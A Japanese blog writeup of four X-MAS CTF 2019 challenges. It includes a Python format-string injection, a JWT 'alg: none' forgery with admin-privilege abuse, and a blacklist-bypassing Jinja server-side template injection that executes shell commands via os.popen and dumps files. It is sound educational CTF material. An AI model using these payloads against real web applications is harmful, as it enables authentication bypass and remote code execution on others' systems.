Ark's Blog

引っ越しました→ https://blog.arkark.dev/

ようこそ

X-MAS CTF 2019 writeup

X-MAS CTF 2019 にチーム ./Vespiary として参加しました。結果は 4051points で 42 位でした。日本チームでは1位でした。

https://xmas.htsp.ro/homexmas.htsp.ro

f:id:ark4rk:20191223090933j:plainf:id:ark4rk:20191223090937j:plain

以下は自分が解いた問題のwriteupです。4問解いて内訳はmisc2, ppc1, web1です。


[misc] FUNction Plotter (50 Points)

問題概要

ncでアクセスすると、

$ challs.xmas.htsp.ro 13005
Welcome to my guessing service!
Can you guess all 961 values?


f(28, 11)=

と聞かれます。適当な数字を答えると正誤判定が返ってきて、次のf(x, y)が聞かれます。

解法

色々試してみると次のことがわかります。

  •  f(x, y) x, y はそれぞれ  \{0, 1, \cdots, 30\} に属する。
    • つまり、 31\times 31 = 961 通りの質問パターンがある。
  •  f(x, y) の正答は  0 1 のいずれか。
  •  f(x, y) の正答は固定であり、ncでアクセスするたびに変化することはない。

つまり、初出の質問パターンは適当に 0 or 1で答えるとその質問の正答がわかるのでそれをメモしつつ、答えていきます。

import socket
import random
import parse

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("challs.xmas.htsp.ro", 13005))

FILE_NAME = "sample.txt"

text = ""
ts = []

def get():
    global text
    x, y = -1, -1
    while True:
        for line in text.splitlines():
            if line.find("=") >= 0:
                (x, y) = parse.parse("f({:d}, {:d})=", line)
                return (x, y)
        try:
            s = client.recv(1024).decode("utf-8")
            print(s)
            if len(s) == 0:
                break
            text = text + s
        except socket.timeout:
            break
    exit(1)

def answer(x, y, z, detected):
    global text, ts

    line = str(z) + "\n"
    print("<- " + line)
    client.send(line.encode('utf-8'))

    text = client.recv(1024).decode("utf-8")
    print(text)

    if (x, y, z) in ts:
        return

    ok = (text.splitlines()[0].find("Good") >= 0)

    if detected:
        assert ok
        return

    if not ok:
        z = 1-z

    ts.append((x, y, z))
    with open(FILE_NAME, mode="a") as f:
        f.write("f({0}, {1})={2}\n".format(x, y, z))

if __name__ == "__main__":
    with open(FILE_NAME, mode="r") as f:
        lines = f.readlines()
        for line in lines:
            (x, y, z) = parse.parse("f({:d}, {:d})={:d}", line)
            ts.append((x, y, z))

    for i in range(0, 1000):
        print("i: {}".format(i))

        (x, y) = get()
        z = -1
        detected = False
        for t in ts:
            if t[0] == x and t[1] == y:
                z = t[2]
                detected = True
                print("detected: ({}, {}, {})".format(x, y, z))
                break
        if z < 0:
            z = random.randrange(2)
        answer(x, y, z, detected)
    get()

すべての答えに答えると

Great! You did it! Now what?

と言われて終了します。sample.txtを見るとこんな感じ↓。

$ cat sample.txt | head
f(14, 23)=1
f(3, 26)=1
f(3, 17)=1
f(19, 28)=1
f(27, 16)=1
f(24, 28)=0
f(2, 15)=1
f(25, 7)=1
f(0, 4)=0
f(18, 25)=1

とりあえず、y行目x文字目に相当する01を並べます。

0000000000000000000000000000000
0111111101001110011010011111110
0100000100110001000011010000010
0101110100010110110001010111010
0101110100000111101001010111010
0101110100101010000110010111010
0100000100010100010001010000010
0111111101010101010101011111110
0000000001011011000100000000000
0110110100111000100001010000010
0100000011100100110100111101010
0011110111011011100101010011000
0011011010111101011001101110110
0100010111101101000011110001000
0111101001000000100010111111000
0001001100001110100010011001010
0111011000101001100111011111110
0101001100000011010100001010010
0110100010001101001011111101000
0110101100101001101110001100110
0110101011000111000011111101000
0110010111000100111111111100100
0000000001110000110011000111110
0111111100000101111111010101000
0100000100010000011101000110010
0101110101100101110011111110000
0101110101010110101100101010010
0101110100010011101010001110110
0100000101010000010110110111010
0111111101110010100101011101000
0000000000000000000000000000000

エディタ上で文字を小さくしてみます。

f:id:ark4rk:20191223093509p:plain

完全に理解した。これを画像としてプロットします。

import parse
from PIL import Image

INPUT_FILE_NAME = "sample.txt"
OUTPUT_FILE_NAME = "output.png"

if __name__ == "__main__":
    ts = []

    with open(INPUT_FILE_NAME, mode="r") as f:
        lines = f.readlines()
        for line in lines:
            (x, y, z) = parse.parse("f({:d}, {:d})={:d}", line)
            ts.append((x, y, z))

    ts.sort()

    width = 31
    height = 31

    img = Image.new('RGBA', (width, height))

    for y in range(0, height):
        for x in range(0, width):
            if ts[y*width + x][2] == 1:
                color = (0, 0, 0)
            else:
                color = (255, 255, 255)
            img.putpixel((x, y), color)

    img.save(OUTPUT_FILE_NAME)
  • f:id:ark4rk:20191223093654p:plain

読み取るとフラグが降ってきました。

フラグ

X-MAS{Th@t's_4_w31rD_fUnCt10n!!!_8082838205}

[misc] SNT DCR SHP (50 Points)

問題概要

ncでアクセスすると、サンタさんが質問してきます。

$nc challs.xmas.htsp.ro 13001
           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

各1,2,3では次のことができます。

  1. ショップリストに (商品名, 個数) を追加
  2. 現在のショップリストの一覧を閲覧
  3. サーバ側のソースコードの閲覧

解法

サーバ側のソースコードが見れるので、コードリーディングをします。

import os, sys
from secret import flag

# -- snip --

class Decoration(object):
    def __init__(self, type, quantity):
        self.quantity = quantity
        self.type = type
    def print_decoration(self):
        print ('{0.quantity} x ... '+ self.type).format(self)

# -- snip --

def add_item():
    sys.stdout.write ("What item do you like to buy? ")
    sys.stdout.flush ()
    type = sys.stdin.readline ().strip ()

    sys.stdout.write ("How many of those? ")
    sys.stdout.flush ()
    quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

    items.append(Decoration(type, quantity))

    print 'Thank you, your items will be added'

# -- snip --

文字列展開されている

  • print ('{0.quantity} x ... '+ self.type).format(self)

で、importされたflagをうまく出力するように商品をinjectionすれば良さそうです。

  • type: {0.__init__.__globals__[flag]}

となるアイテムを追加すると、フラグが見れました。

$ nc challs.xmas.htsp.ro 13001
           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 10
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
10 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

フラグ

X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}

[ppc] Orakel (152 Points)

問題概要

ncでアクセスすると

$ nc challs.xmas.htsp.ro 13000

                                     ,,,,
                                  ,########,
                                 ############
                                |############|
                                 ############
                                  "########"
                                     """"

                     |\___/|
                     | " " |                    ~ ORAKEL ~
              ,===__/( \ / )\__===,        THE LAPLAND  ORACLE
             /     """ (") """     \
            /           "           \
            |   \_____=   =_____/   |
      ,==._/    /\     /^\     /\    \_.==,
     |   _  __/"  \   |] [|   /  "\__  _   |
      555 """      |  |] [|  |      """ 555
"""""""""""""""""""###########""""""""""""""""""""""""""""""""""""""""""""
--- ,#######   ,#############, ,########  ___     _________
 -- #####################################"       _____     _________
    "###" #######################" ____     ___   _____           __
  ---_____  "#############   _         
  _________     ____
  ______     ##########        ______                _______
         ____"##  "##   _________            ___        ________  _____
    ___       ____    __     _________            _______



Hello child.

> I will give you the True Flag you seek, but for that you must pass my test:
I will think of a word of great length, known only by the gods that roam Lapland.
You must guess which word I am thinking of, but only under a limited number of [1000] tries.
In order to make this possible for you, I will tell you how close you are to my word through a number.
The higher the number, the further you are from my word.
If the number is 0, then you have found it.

Good Luck.


Tell me your guess: 

と聞かれます。サーバ側で用意された文字列(以下、「正しい文字列」とします)を特定する問題です。

  • 文字列は1000回まで答えることができる。
  • 答えると、答えた文字列と正しい文字列の "近さ" が返ってくる。
    • 一致した場合は、フラグが見れる。
  • 正しい文字列は、サーバにアクセスするたびに変更される。
  • 正しい文字列は、英小文字大文字のみで構成。

解法

  • 文字列  w に対する、正しい文字列との"近さ"を  d(w) とします。
    •  d(w) = 0 となる  w を特定するのがこの問題です。

色々試すと、 d について以下の性質が見えてきます。

  • 文字列の長さに対して、下に狭義凸である:
    •  ^\forall w \in \Sigma^\ast, ^\exists i \in \{0, \ldots, |w|-1\}
      •  \text{ s.t. } d(\varepsilon) \gt d(w_0) \gt \cdots \gt d(w_0\cdots w_i) \lt \cdots \lt d(w)
  • 各インデックスにおける文字に対して、下に狭義凸である:
    •  ^\forall w \in \Sigma^*, ^\forall i \in \{0, \ldots, |w|-1\}, ^\exists j \in \Sigma
      • \begin{align}\text{ s.t. } & d(w_0\cdots w_{i-1}\textrm{a}w_{i+1}\cdots w_{|w|-1}) \\ & \gt d(w_0\cdots w_{i-1}\textrm{b}w_{i+1}\cdots w_{|w|-1}) \\ & \gt \cdots \\ & \gt d(w_0\cdots w_{i-1}jw_{i+1}\cdots w_{|w|-1}) \\ & \lt \cdots \\ & \lt d(w_0\cdots w_{i-1}\textrm{Z}w_{i+1}\cdots w_{|w|-1}) \end{align}

また、文字列の長さに対する  d の変化量は大きいので、次の戦略によって正しい文字列を特定することにした。

  1. まず文字列の長さを特定する。
    • これは実験より85〜100程度だと推測できるので線形探索。
  2. 各インデックスについて、文字を特定する。
    • 凸性より、三分探索が使える。
import socket
import string

INF = 10000000000

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("challs.xmas.htsp.ro", 13000))

client.settimeout(1)
while True:
    try:
        s = client.recv(1024).decode("utf-8")
        print(s)
    except socket.timeout:
        break

client.settimeout(10)

query_count = 0
dic = {}
def query(x):
    global query_count

    if x in dic:
        return dic[x]

    print("<debug> query_count: {}".format(query_count))
    query_count += 1

    line = x + "\n"
    print("<- " + line)
    client.send(line.encode('utf-8'))

    result = -1
    while result < 0:
        text = ""
        try:
            s = client.recv(1024).decode("utf-8")
            if len(s) == 0:
                break
            print(s)
            text += s
            for inputLine in text.splitlines():
                if inputLine.find(": ") >= 0:
                    y = inputLine.split(": ")[1]
                    if y.isdecimal():
                        result = int(y)
        except socket.timeout:
            print("timeout!")
            break

    assert result >= 0
    dic[x] = result

    return result

def f(x, i, c):
    return x[:i] + c + x[i+1:]

letters = string.ascii_uppercase + string.ascii_lowercase
result = {}

if __name__ == "__main__":
    lt = False
    gt = False
    minValue = INF
    minS = -1
    for s in range(88, 93):
        x = "A"*s
        v = query(x)
        if minS < 0 and v < minValue:
            lt = True
        elif v > minValue:
            gt = True
        if v < minValue:
            minValue = v
            minS = s
    assert lt and gt, "The word may be too long. Try again!"

    st = "A"*minS

    for i in range(0, minS):
        l = 0
        r = len(letters) - 1
        lv = INF
        rv = INF

        while r-l>1:
            assert l < r
            x1 = (l*2 + r)//3
            x2 = (l + r*2)//3
            assert l < x1 or x2 < r

            k1 = f(st, i, letters[x1])
            k2 = f(st, i, letters[x2])
            v1 = query(k1)
            v2 = query(k2)

            if v1 < v2:
                if r == x2:
                    r = x1
                    rv = v1
                else:
                    r = x2
                    rv = v2
            else:
                if l == x1:
                    l = x2
                    lv = v2
                else:
                    l = x1
                    lv = v1

        if lv == INF:
            lv = query(f(st, i, letters[l]))
        if rv == INF:
            rv = query(f(st, i, letters[r]))

        c = l if lv < rv else r
        st = f(st, i, letters[c])
$ python solver.py | tail -n 20

Your number: 34

Tell me your guess: 
<debug> query_count: 989
<- QsBamiiGTzVegoWXLxbPjkbvjgGWYBrqreIhnuyKHDBBefWrxItGgpdjSCvSacwERziDsyQFqDqCLrgxtCdIxTpYvXY

I tell you: 31

Tell me your guess: 
<debug> query_count: 990
<- QsBamiiGTzVegoWXLxbPjkbvjgGWYBrqreIhnuyKHDBBefWrxItGgpdjSCvSacwERziDsyQFqDqCLrgxtCdIxTpYvXf

This is your number: 0

Masterfully done. Here is the True Flag: X-MAS{7hey_h4t3d_h1m_b3c4use_h3_sp0k3_th3_truth}

<debug> query_count: 991
<- QsBamiiGTzVegoWXLxbPjkbvjgGWYBrqreIhnuyKHDBBefWrxItGgpdjSCvSacwERziDsyQFqDqCLrgxtCdIxTpYvXd

フラグ

X-MAS{7hey_h4t3d_h1m_b3c4use_h3_sp0k3_th3_truth}

[web] Mercenary Hat Factory (409 Points)

問題概要

Flask製のWebサービスとサーバのソースコードが与えられます。

解法

自分の解法は大きく3つのフェイズがあります。

  1. 認証の突破
  2. Server-Side Template Injection
  3. mp4の取得

フェイズ1: 認証の突破

JWTの改竄

ソースコードを見ると、ユーザの認証トークンにJWTが使われていることがわかります。

  • username: test20test
  • password: abcabcabc

でアカウントをつくるとCookie

  • auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoidXNlciIsInVzZXIiOiJ0ZXN0MjB0ZXN0In0.TJjtCWhjzIYNRS-JMGMvWhCSPPP7nEtaDxpQYaSH1LA

がセットされます。jwt.ioでデコードすると

header:

{
  "typ": "JWT",
  "alg": "HS256"
}

payload:

{
  "type": "user",
  "user": "test20test"
}

です。ソースコードを見る限り、type: "admin"に改竄できると嬉しいですが、単純に書き換えるだけだとJWTの検証に失敗します。

JWTへの攻撃手法はいくつか知られていますが、algをnoneにして検証を無視させるやつをやってみました。

上のCookieに対し、alg: "none"type: "admin"に改竄したものは

  • auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCJ9.

です。末尾の検証部分がなくなっているのが特徴です。

/authorize

サーバのauthorizeの処理は次のようになっています。

@app.route ('/authorize', methods=['POST'])
def authorize ():
    token = request.cookies.get ("auth")

    if (token != None):
        try:
            userData = DecodeJWT (token)

            if (userData["type"] != "admin"):
                return render_template ("error.html", error = "Unauthorized.")

            uid = 1
            hsh = hashlib.md5 (userData ["user"].encode ()).hexdigest ()

            for c in hsh:
                if (c in "0123456789"):
                    uid += int (c)

            step = int (request.args.get ("step"))
            if (step == 1):
                adminPrivileges [uid][0] = uid
                adminPrivileges [uid][1] = userData ["user"]
                adminPrivileges [uid][2] = request.form.get ('privilegeCode')
                resp = make_response (redirect ("/"))
            elif (step == 2):
                userpss = adminPrivileges [uid][2]
                # Is the user actually santa?
                uid = adminPrivileges [0][0]
                usr = adminPrivileges [0][1]
                pss = adminPrivileges [0][2]

                if (request.form.get ('accessCode') == str (uid) + usr + pss + userpss):
                    authorizedAdmin [userData ["user"]] = True
                    #os.system ("curl https://lapland.htsp.ro/adminauth") # Announce new admin authorization

                    resp = make_response (redirect ("/"))
                else:
                    resp = render_template ("error.html", error = "Access Code is incorrect.")
            else:
                resp = render_template ("error.html", error = "Unauthorized.")
        except:
            resp = render_template ("error.html", error = "Unknown Error.")
    else:
        resp = render_template ("error.html", error = "Unauthorized.")

    return resp
  • authorizedAdmin [userData ["user"]] = True

の処理で

  • authorizedAdmin ["test20test"] = True

とさせるのが目標です。

httpieでPOSTを飛ばします。

$ http -v --form POST http://challs.xmas.htsp.ro:11005/authorize?step=1 Cookie:auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCJ9. privilegeCode=priv

privilegeCode=privとしました。これによって

adminPrivileges [uid][0] = uid # 83
adminPrivileges [uid][1] = userData ["user"] # "test20test"
adminPrivileges [uid][2] = request.form.get ('privilegeCode') # "priv"

となります。ところで、adminPrivilegesの変数定義を見ると

adminPrivileges = [[None]*3]*500

とあって、安心感のあるバグが見つかります。よって

adminPrivileges [0][0] = uid # 83
adminPrivileges [0][1] = userData ["user"] # "test20test"
adminPrivileges [0][2] = request.form.get ('privilegeCode') # "priv"

でもあります。これを踏まえると

  • accessCode=83test20testprivpriv

になることがわかるので、

$ http -v --form POST http://challs.xmas.htsp.ro:11005/authorize?step=2 Cookie:auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCJ9. accessCode=83test20testprivpriv

を飛ばすとauthorizeに成功します。

/makehat

サーバのmakehatの処理は次のようになっています。

@app.route ('/makehat', methods=['GET'])
def makehat ():
    hatName = request.args.get ("hatName")
    token = request.cookies.get ("auth")
    blacklist = ["config", "self", "request", "[", "]", '"', "_", "+", " ", "join", "%", "%25"]

    if (hatName == None):
        return render_template ("error.html", error = "Your hat has no name!")

    for c in blacklist:
        if (c in hatName):
            return render_template ("error.html", error = "That's a hella weird Hat Name, maggot.")

    if (len (hatName.split (",")) > 2):
        return render_template ("error.html", error = "How many commas do you even want to have?")

    page = render_template ("hat.html", hat = random.randint (0, 9), hatName = hatName)

    if (token != None):
        userData = DecodeJWT (token)
        try:
            authorized = False
            if ((userData["user"] in authorizedAdmin) and (users[userData["user"]] == userData["pass"])):
                authorized = True # and what
                resp = render_template_string (page)
            else:
                resp = render_template ("error.html", error = "Unauthorized.")
        except:
            resp = render_template ("error.html", error = "Error in viewing hat.")
    else:
        resp = render_template ("error.html", error = "Unauthorized.")

    return resp

JWTのpayloadを{"type":"admin","user":"test20test","pass":"abcabcabc"}に変更してCookieを少し書き換えます。

  • Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCIsInBhc3MiOiJhYmNhYmNhYmMifQ.

cookieをセットしたあとに

にアクセスすると、hogeの名前がmarqueeされた帽子のページが表示されます。

フェイズ2: Server-Side Template Injection

page = render_template ("hat.html", hat = random.randint (0, 9), hatName = hatName)

を見ると、hatNameの値をそのままテンプレートエンジンに流してWebページを生成しているようです。FlaskではJinjaが使われています。

JinjaのServer-Side Template Injectionができそうなので、やります。

ただし、入力文字列に対して次の制約があるので、これをbypassしつつinjectionをします。

  • 次の文字列を含んではいけない:
    • blacklist: config, self, request, [, ], ", _, +, , join, %, %25
  • ,を2個以上含んではいけない

Jinjaのtemplate injectionについて参考になりそうなページがいくつかありました:

NGワードのblacklistが強すぎるので、ここに紹介されているものは直接利用できませんが、これらを参考に試行錯誤しました。

location.href = "http://challs.xmas.htsp.ro:11005/makehat?hatName=" + encodeURIComponent(
    "{{(g.get|attr('\\x5f\\x5fglobals\\x5f\\x5f')).get('\\x5f\\x5fbuiltins\\x5f\\x5f').eval('exec(\\'import\\x20os\\'),os.popen(\\'ls\\').read()')}}"
)

見やすくすると

g.get.__globals__["__builtins__"].eval(
    "exec('import os'), os.popen('ls').read()"
)

のようなことをやっています。任意コマンドが実行できるようになったので勝ちです。

上記のJavaScriptをブラウザで実行すると

(None, '__pycache__\nconfig.py\nserver.py\nstatic\ntemplates\nunusual_flag.mp4\n')

が返ってきます。

  • __pycache__
  • config.py
  • server.py
  • static
  • templates
  • unusual_flag.mp4

見なくてもいいですが、catでconfig.pyを見ると

import jwt, base64, json
JWTSecret = "d12ic01n9diS0CDNWIC0diadscj12n9c1dsaocpsapda"
SantaSecret = "aojaics9samiocdassacpodasidnpc1c1cw_sa-mi_bag_picioarele_ce_lung_e_secretu_asta"
def DecodeB64 (inp):
    return base64.b64decode (inp + "==").decode ("utf-8").replace ("\\x00", "")
def DecodeJWT (token):
    userData = {}

    try:
        userData = jwt.decode (token, JWTSecret, algorithm = \'HS256\')
    except:
        try:
            token = token.split (".")
            if (token[2] == ""):
                alg = json.loads (DecodeB64 (token[0]))
                if (alg["alg"].lower () == "none"):
                    userData = json.loads (DecodeB64 (token[1]))
        except:
            pass
    return userData

でした。alg: "none"のときだけ自前実装なのがわかります。

フェイズ3: mp4の取得

unusual_flag.mp4にフラグが含まれているだろうと推測できます。一応fileコマンドで確認したらちゃんとmp4でした。

バイナリデータなのでcatでは情報が得られません。ファイル転送でもいいですが、めんどうなのでバイナリをdumpすることにしました。

location.href = "http://challs.xmas.htsp.ro:11005/makehat?hatName=" + encodeURIComponent(
    "{{(g.get|attr('\\x5f\\x5fglobals\\x5f\\x5f')).get('\\x5f\\x5fbuiltins\\x5f\\x5f').eval('exec(\\'import\\x20os\\'),os.popen(\\'od\\x20-xv\\x20unusual\\x5fflag.mp4\\').read()')}}"
)

ブラウザからこれを実行すると、恐らくクラッシュするので代わりにhttpieから次を叩きます。

$ http GET "http://challs.xmas.htsp.ro:11005/makehat?hatName=%7B%7B(g.get%7Cattr('%5Cx5f%5Cx5fglobals%5Cx5f%5Cx5f')).get('%5Cx5f%5Cx5fbuiltins%5Cx5f%5Cx5f').eval('exec(%5C'import%5Cx20os%5C')%2Cos.popen(%5C'od%5Cx20-xv%5Cx20unusual%5Cx5fflag.mp4%5C').read()')%7D%7D" Cookie:auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoidGVzdDIwdGVzdCIsInBhc3MiOiJhYmNhYmNhYmMifQ. > output.txt

得られたoutput.txtを編集してバイナリ部分だけを取り出します → od.txt

$ cat od.txt | head
0000000 0000 2000 7466 7079 7369 6d6f 0000 0002
0000020 7369 6d6f 7369 326f 7661 3163 706d 3134
0000040 0000 0800 7266 6565 2000 b794 646d 7461
0000060 0a27 2043 0204 0001 4080 1020 0408 0102
0000100 8000 2040 0810 0204 0001 4080 1020 0408
0000120 0102 8000 2040 0810 0204 0001 4080 1020
0000140 0408 9733 00d4 0000 0000 4f1f d3a7 f4e9
0000160 7dfa 9f3e a74f e9d3 faf4 3e7d 4f9f d3a7
0000200 f4e9 7dfa 9f3e a74f e9d3 faf4 3e7d 4f9f
0000220 d3a7 f4e9 7dfa 9f3e a74f e9d3 faf4 3e7d

これをバイナリデータに戻すスクリプトを適当に書いて実行します:

INPUT_FILE_NAME = "od.txt"
OUTPUT_FILE_NAME = "unusual_flag.mp4"

if __name__ == "__main__":
    ts = []

    with open(INPUT_FILE_NAME, mode="r") as f:
        lines = f.readlines()
        for line in lines:
            ts.append("".join(line.split(" ")[1:]).strip())

    bs = []
    for t in ts:
        for _i in range(0, len(t)//2):
            i = _i^1
            bs.append(int(t[i*2:i*2+2], base=16))

    with open(OUTPUT_FILE_NAME, "wb") as f:
        f.write(bytearray(bs))
$ python make_binary.py

得られたunusual_flag.mp4をメディアプレイヤーで見ると

f:id:ark4rk:20191223175836p:plain

フラグが書いてありました。

フラグ

X-MAS{W3lc0m3_70_7h3_h4t_f4ct0ry__w3ve_g0t_unusu4l_h4ts_90d81c091da}